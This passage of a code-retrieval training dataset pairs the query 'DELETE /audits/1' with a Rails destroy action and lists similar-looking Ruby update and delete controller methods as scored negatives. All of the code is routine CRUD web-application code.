"def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @audio = Audio.find(params[:id])\n\n respond_to do |format|\n if @audio.update_attributes(params[:audio])\n format.html { redirect_to @audio, notice: 'Audio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @audio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def audits(type, object_id, file_id)\n response = @client.get(\"editor/#{type}/#{object_id}/audits/#{file_id}\")\n verify response,\n forbidden: 'You do not have permission to export the audit file',\n not_found: 'Audit file does not exist',\n internal_server_error: 'Internal server error occurred.'\n end",
"def update\n @assessment = Assessment.find(params[:id])\n\n respond_to do |format|\n if @assessment.update_attributes(params[:assessment])\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assessment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @audit_log = AuditLog.find(params[:id])\n\n respond_to do |format|\n if @audit_log.update_attributes(params[:audit_log])\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update\n @quote_audit = QuoteAudit.find(params[:id])\n\n respond_to do |format|\n if @quote_audit.update_attributes(params[:quote_audit])\n format.html { redirect_to(@quote_audit, :notice => 'Quote audit was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @quote_audit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tack = Tack.find(params[:id])\n\n if @tack.update(tack_params)\n head :no_content\n else\n render json: @tack.errors, status: :unprocessable_entity\n end\n end",
"def update\n @absence = Absence.find(params[:id])\n\n respond_to do |format|\n if @absence.update_attributes(params[:absence])\n format.html { redirect_to @absence, notice: 'Absence was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n webhook.update(webhook_params)\n respond_with(webhook)\n end",
"def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'Experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'Experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @timeline = Timeline.find(params[:id])\n\n respond_to do |format|\n if @timeline.update_attributes(params[:timeline])\n format.html { redirect_to @timeline, notice: 'Timeline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @timeline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @timeline = Timeline.find(params[:id])\n\n respond_to do |format|\n if @timeline.update_attributes(params[:timeline])\n format.html { redirect_to @timeline, notice: 'Timeline was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @timeline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expectation = Expectation.find(params[:id])\n\n respond_to do |format|\n if @expectation.update_attributes(params[:expectation])\n format.html { redirect_to @expectation, notice: 'Expectation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expectation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @duration = Duration.find(params[:id])\n\n if @duration.update(duration_params)\n head :no_content\n else\n render json: @duration.errors, status: :unprocessable_entity\n end\n end",
"def update\n @hook = Hook.find(params[:id])\n @hook.update_attributes(params[:hook])\n respond_with(@hook)\n end",
"def update\n @encounter = Encounter.find(params[:id])\n\n respond_to do |format|\n if @encounter.update_attributes(params[:encounter])\n format.html { redirect_to @encounter, notice: 'Encounter was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @encounter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sound_roll = SoundRoll.find(params[:id])\n\n respond_to do |format|\n if @sound_roll.update_attributes(params[:sound_roll])\n format.html { redirect_to @sound_roll, notice: 'Sound roll was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sound_roll.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @assertion.update(assertion_params)\n format.html { redirect_to @assertion, notice: 'Assertion was successfully updated.' }\n format.json { render :show, status: :ok, location: @assertion }\n else\n format.html { render :edit }\n format.json { render json: @assertion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n return forbidden unless user_is_owner\n return bad_request unless @event.update_attributes(event_params)\n render json: @event, status: :ok\n end",
"def update\n @skill = Skill.find(params[:id])\n\n if @skill.update(skill_params)\n head :no_content\n else\n render json: @skill.errors, status: :unprocessable_entity\n end\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n respond_to do |format|\n if @incident.update(incident_params)\n format.json { head :no_content }\n else\n format.json { render json: @incident.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n id = params[:id]\n @datacenter = Datacenter.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @datacenter.attributes = params[:datacenter]\n @datacenter.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @datacenter.save\n format.html { redirect_to @datacenter, notice: 'Datacenter was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @datacenter.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end",
"def update\n @issuer = Issuer.find(params[:id])\n\n respond_to do |format|\n if @issuer.update_attributes(params[:issuer])\n format.html { redirect_to issuers_path, notice: 'Issuer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @issuer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @talk.update(talk_params)\n format.html { redirect_to @talk, notice: 'Talk was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @talk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tracing.update(tracing_params)\n format.html { redirect_to @tracing }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tracing.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tenure = Tenure.find(params[:id])\n\n if @tenure.update(tenure_params)\n audit(@tenure, current_user)\n head :no_content\n else\n render json: @tenure.errors, status: :unprocessable_entity\n end\n end",
"def update\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n if @talk.update_attributes(params[:talk])\n format.html { redirect_to @talk, notice: 'Talk was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @talk.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"def update\n respond_to do |format|\n if @trail.update(trail_params)\n format.html { redirect_to @trail, notice: 'Trail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @incident = Incident.find(params[:id])\n\n if @incident.update(incident_params)\n head :no_content\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end",
"def update\n @event_requirement = EventRequirement.find(params[:id])\n\n if @event_requirement.update(event_requirement_params)\n head :no_content\n else\n render json: @event_requirement.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @event.update(event_params)\n format.json { head :no_content }\n else\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n respond_to do |format|\n if @verb.update(verb_params)\n format.html { redirect_to @verb, notice: 'Verb was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @verb.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @observation = Observation.find(params[:id])\n\n respond_to do |format|\n if @observation.update_attributes(params[:observation])\n format.html { redirect_to @observation, notice: 'Observation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n authorize! :manage, @vspec\n\n respond_to do |format|\n if @vspec.update(vspec_params)\n format.html { redirect_to [@vspec.metric, @vspec], notice: 'Vspec was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @vspec.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @observ.update(observ_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @observ.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @avert = Avert.find(params[:id])\n\n respond_to do |format|\n if @avert.update_attributes(params[:avert])\n format.html { redirect_to @avert, notice: 'Avert was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @avert.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n respond_to do |format|\n if @auditorium.update_attributes(params[:auditorium])\n format.html { redirect_to [:admin, @theatre, @auditorium], notice: 'Auditorium was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auditorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n p = trial_params.clone\n if p[\"question_ids\"].nil?\n p[\"question_ids\"] = []\n end\n\n respond_to do |format|\n if @trial.update(p)\n format.html { redirect_to @trial, notice: 'Trial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @trial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n @heartbeat = Heartbeat.find(params[:id])\n\n respond_to do |format|\n if @heartbeat.update_attributes(params[:heartbeat])\n format.html { redirect_to @heartbeat, notice: 'Heartbeat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heartbeat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pupdate\n @event = Event.find(params[:id])\n respond_to do |format|\n if @event.update_attributes(JSON.parse(params[:event]))\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { head :no_content}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @weekly_expectation = WeeklyExpectation.find(params[:id])\n\n respond_to do |format|\n if @weekly_expectation.update_attributes(params[:weekly_expectation])\n format.html { redirect_to @weekly_expectation, notice: 'Weekly expectation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @weekly_expectation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @distribution_audit = DistributionAudit.find(params[:id])\n\n respond_to do |format|\n if @distribution_audit.update_attributes(params[:distribution_audit])\n format.html { redirect_to @distribution_audit, :notice => 'Distribution audit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @distribution_audit.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n ap = absence_params\n reason_id = ap[:reason_id].try('to_i')\n if reason_id.present?\n ap[:project_id]=0 if ![2, 3].include?(reason_id)\n ap[:target_id]=0 if reason_id != 2\n end\n\n abs_params\n respond_to do |format|\n if @absence.update(ap)\n format.html { redirect_to absences_url, notice: 'Отсутствие успешно обновлено.' }\n format.json { render :edit, status: :ok, location: @absence }\n else\n format.html { render :edit }\n format.json { render json: @absence.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @audio_recording.update(audio_recording_params)\n format.html { redirect_to @audio_recording, notice: 'Audio recording was successfully updated.' }\n format.json { render :show, status: :ok, location: @audio_recording }\n else\n format.html { render :edit }\n format.json { render json: @audio_recording.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n @patient_history = PatientHistory.find(params[:id])\n\n respond_to do |format|\n if @patient_history.update_attributes(params[:patient_history])\n format.html { redirect_to @patient_history, notice: 'Patient history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patient_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @experiment = Experiment.find(params[:id])\n @title = \"Microarray experiments\"\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to(@experiment, :notice => 'Microarray experiment was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @experiment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n webhook.update_attributes(webhook_params)\n respond_with(webhook)\n end",
"def update\n respond_to do |format|\n if @complain.update complain_params\n notice = if params[:complain][:status_event] != Constant.TICKET_EVENTS[:EDIT]\n \"Ticket #{@complain.status} successfully.\"\n else\n 'Ticket updated successfully.'\n end\n if @complain.errors.present?\n notice += @complain.errors.full_messages.to_sentence\n format.html { redirect_to @complain, alert: notice }\n format.js { flash.now[:alert] = notice }\n format.json { render json: { message: notice, data: @complain.for_api } }\n else\n format.html { redirect_to @complain, notice: notice }\n format.js { flash.now[:notice] = notice }\n format.json { render json: { message: notice, data: @complain.for_api } }\n end\n else\n alert = @complain.errors.full_messages.first\n format.html { redirect_to @complain, alert: alert }\n format.js { flash.now[:alert] = \"Can't update. #{alert}\" }\n format.json { render json: { error_message: alert, error_status: :unprocessable_entity }, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @event_request = EventRequest.find(params[:id])\n\n respond_to do |format|\n if @event_request.update_attributes(params[:event_request])\n format.html { redirect_to @event_request, notice: 'Event request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @request = @skill.requests.find(params[:id])\n\n respond_to do |format|\n if @request.update_attributes(params[:request])\n format.html { redirect_to myrequests_path, notice: 'request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @speaker = Speaker.find(params[:id])\n\n respond_to do |format|\n if @speaker.update_attributes(params[:speaker])\n format.html { redirect_to @speaker, notice: 'Speaker was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @speaker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hack.update_attributes(params[:hack])\n format.html { redirect_to @event, :notices => ['Hack was successfully updated.'] }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @hack.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @hit = Hit.find(params[:id])\n\n respond_to do |format|\n if @hit.update_attributes(params[:hit])\n format.html { redirect_to @hit, notice: 'Hit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asset = current_user.assets.find(params[:id])\n\n respond_to do |format|\n if @asset.update_attributes(params[:asset])\n track_activity @asset\n format.html { redirect_to @asset, notice: 'Asset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @stat = Stat.find(params[:id])\n\n if @stat.update(stat_params)\n head :no_content\n else\n render json: @stat.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @mystock.update(mystock_params)\n format.html { redirect_to @mystock, notice: 'mystock was successfully updated.' }\n format.json { render :show, status: :ok, location: @mystock }\n else\n format.html { render :edit }\n format.json { render json: @mystock.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @audit = Audit.find(params[:audit]) \n if @questionnaire.update_attributes(questionnaire_params)\n flash[:notice] = \"The questionnaire has been updated.\"\n redirect_to @audit\n else\n render :action => 'edit'\n end\n end",
"def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end",
"def update\n @event = Event.find(params[:id])\n\n if @event.update(params[:event])\n head :no_content\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"def update\n @replay = Replay.find(params[:id])\n @replay.level_id = params[:replay][:level_id]\n @replay.score = params[:replay][:score]\n @replay.player = params[:replay][:player]\n @replay.data = params[:replay][:data].read\n\n respond_to do |format|\n\n format.html { redirect_to replays_path, :notice => 'Replay was successfully updated.' }\n format.json { head :no_content }\n\n end\n end"
] |
[
"0.62754935",
"0.61398065",
"0.61359316",
"0.6010058",
"0.59871",
"0.5985566",
"0.59275275",
"0.58998513",
"0.58940655",
"0.58903617",
"0.5878485",
"0.5874587",
"0.58714235",
"0.5835737",
"0.5824104",
"0.5819092",
"0.5807568",
"0.57836604",
"0.5762287",
"0.57359064",
"0.571987",
"0.57179743",
"0.5714311",
"0.56898534",
"0.5680149",
"0.5678539",
"0.56755155",
"0.5672519",
"0.56689316",
"0.56532156",
"0.5646553",
"0.56362426",
"0.56307095",
"0.56218034",
"0.56105214",
"0.5602906",
"0.5602086",
"0.55998063",
"0.5597569",
"0.5597569",
"0.5591397",
"0.5591397",
"0.5585851",
"0.55850315",
"0.557939",
"0.5572574",
"0.5571684",
"0.55697984",
"0.5569228",
"0.5566665",
"0.55620486",
"0.55611855",
"0.55593944",
"0.5558684",
"0.5557411",
"0.55564815",
"0.55562556",
"0.5552161",
"0.55517185",
"0.5549858",
"0.5547137",
"0.5544375",
"0.5541602",
"0.5540185",
"0.5536312",
"0.55306035",
"0.5530452",
"0.5528218",
"0.55242604",
"0.55229044",
"0.550967",
"0.5509563",
"0.55084527",
"0.55070275",
"0.55069655",
"0.55059576",
"0.5505753",
"0.5502363",
"0.55010194",
"0.550001",
"0.5497592",
"0.5494856",
"0.549424",
"0.549367",
"0.5491795",
"0.5490055",
"0.54880095",
"0.54877853",
"0.5487067",
"0.54794604",
"0.5479322",
"0.547768",
"0.54762405",
"0.54760265",
"0.54701954",
"0.5465611",
"0.54655755",
"0.5463688",
"0.54627365",
"0.54615206"
] |
0.651764
|
0
|
DELETE /audits/1 DELETE /audits/1.json
|
def destroy
@audit.destroy
respond_to do |format|
format.html { redirect_to audits_url, notice: 'Audit was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n \n @audit = current_user.audits.find(params[:id])\n @audit.destroy\n \n UserMailer.audit_deleted_auditor(@audit,current_user).deliver\n UserMailer.audit_deleted_auditee(@audit,current_user).deliver\n respond_to do |format|\n format.html { redirect_to audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Audit.find(params[:id]).destroy\n head :no_content\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @audition.destroy\n respond_to do |format|\n format.html { redirect_to '/audition', notice: 'Audition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditoria = Auditoria.find(params[:id])\n @auditoria.destroy\n\n respond_to do |format|\n format.html { redirect_to auditorias_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @audit_log.destroy\n respond_to do |format|\n format.html { redirect_to audit_logs_url, notice: 'Audit log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chamado = Chamado.find(params[:id])\n @chamado.destroy\n\n #Deleta o historico\n @audits = Audit.find_all_by_idchamado(params[:id])\n\n @audits.each do |a|\n a.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to chamados_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audit.destroy\n respond_to do |format|\n format.html { redirect_to @project, notice: 'Audit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quote_audit = QuoteAudit.find(params[:id])\n @quote_audit.destroy\n\n respond_to do |format|\n format.html { redirect_to(quote_audits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @auditorio.destroy\n respond_to do |format|\n format.html { redirect_to auditorios_url, notice: 'Auditorio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distribution_audit = DistributionAudit.find(params[:id])\n @distribution_audit.destroy\n\n respond_to do |format|\n format.html { redirect_to distribution_audits_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @labtech_audit.destroy\n respond_to do |format|\n format.html { redirect_to labtech_audits_url, notice: 'Labtech audit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audit_log = AuditLog.find(params[:id])\n @audit_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(audit_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @actor_audition.destroy\n respond_to do |format|\n format.html { redirect_to actor_auditions_url, notice: 'Actor audition was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audience = Audience.find(params[:id])\n @audience.destroy\n\n respond_to do |format|\n format.html { redirect_to audiences_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditv.destroy\n respond_to do |format|\n format.html { redirect_to auditvs_url, notice: 'Auditv was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ai_log.destroy\n respond_to do |format|\n format.html { redirect_to ai_logs_url }\n format.json { head :no_content }\n end\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @recording_event = RecordingEvent.find(params[:id])\n @recording_event.destroy\n\n respond_to do |format|\n format.html { redirect_to recording_events_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @health_record = HealthRecord.find(params[:id])\n @health_record.destroy\n\n respond_to do |format|\n format.html { redirect_to health_records_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @health_record.destroy\n respond_to do |format|\n format.html { redirect_to health_records_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @record = Asset.find(params[:id])\n @record.trash\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end",
"def destroy\n @heartbeat = Heartbeat.find(params[:id])\n @heartbeat.destroy\n\n respond_to do |format|\n format.html { redirect_to heartbeats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n record = Asset.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @logstash = Logstash.find(params[:id])\n @logstash.destroy\n\n respond_to do |format|\n format.html { redirect_to logstashes_url }\n format.json { head :no_content }\n end\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def destroy\n @weekly_expectation = WeeklyExpectation.find(params[:id])\n @weekly_expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to weekly_expectations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @duration.destroy\n\n head :no_content\n end",
"def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end",
"def destroy\n @expectation = Expectation.find(params[:id])\n @expectation.destroy\n\n respond_to do |format|\n format.html { redirect_to expectations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @replay = Replay.find(params[:id])\n @replay.destroy\n\n respond_to do |format|\n format.html { redirect_to replays_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sampled_url = SampledUrl.find(params[:id])\n @sampled_url.destroy\n\n respond_to do |format|\n format.html { redirect_to sampled_urls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @healthrecord = Healthrecord.find(params[:id])\n @healthrecord.destroy\n\n respond_to do |format|\n format.html { redirect_to indexhealthrecord_path(current_member) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audio = Audio.find(params[:id])\n @audio.destroy\n\n respond_to do |format|\n format.html { redirect_to audios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audio = Audio.find(params[:id])\n @audio.destroy\n\n respond_to do |format|\n format.html { redirect_to audios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @exercise_log = ExerciseLog.find(params[:id])\n @exercise_log.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_logs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to trails_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @api_v1_outcome.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_outcomes_url, notice: 'Outcome was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trail = Trail.find(params[:id])\n @trail.destroy\n\n respond_to do |format|\n format.html { redirect_to trails_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @historical = Historical.find(params[:id])\n @historical.destroy\n\n respond_to do |format|\n format.html { redirect_to historicals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @backend_tutorial_stat = Backend::TutorialStat.find(params[:id])\n @backend_tutorial_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to backend_tutorial_stats_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @status_ativ = StatusAtiv.find(params[:id])\n @status_ativ.destroy\n\n respond_to do |format|\n format.html { redirect_to status_ativs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @audio.destroy\n respond_to do |format|\n format.html { redirect_to audios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aspect = Aspect.find(params[:id])\n @aspect.destroy\n\n respond_to do |format|\n format.html { redirect_to(aspects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fixturestat = Fixturestat.find(params[:id])\n @fixturestat.destroy\n\n respond_to do |format|\n format.html { redirect_to fixturestats_url }\n format.json { head :no_content }\n end\n end",
"def delete_webhook(id)\n make_json_api_request :delete, \"v2/#{account_id}/webhooks/#{id}\"\n end",
"def destroy\n @history_study = HistoryStudy.find(params[:id])\n @history_study.destroy\n\n respond_to do |format|\n format.html { redirect_to history_studies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @assertion.destroy\n respond_to do |format|\n format.html { redirect_to assertions_url, notice: 'Assertion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n _params = {:id => id}\n return @master.call 'webhooks/delete', _params\n end",
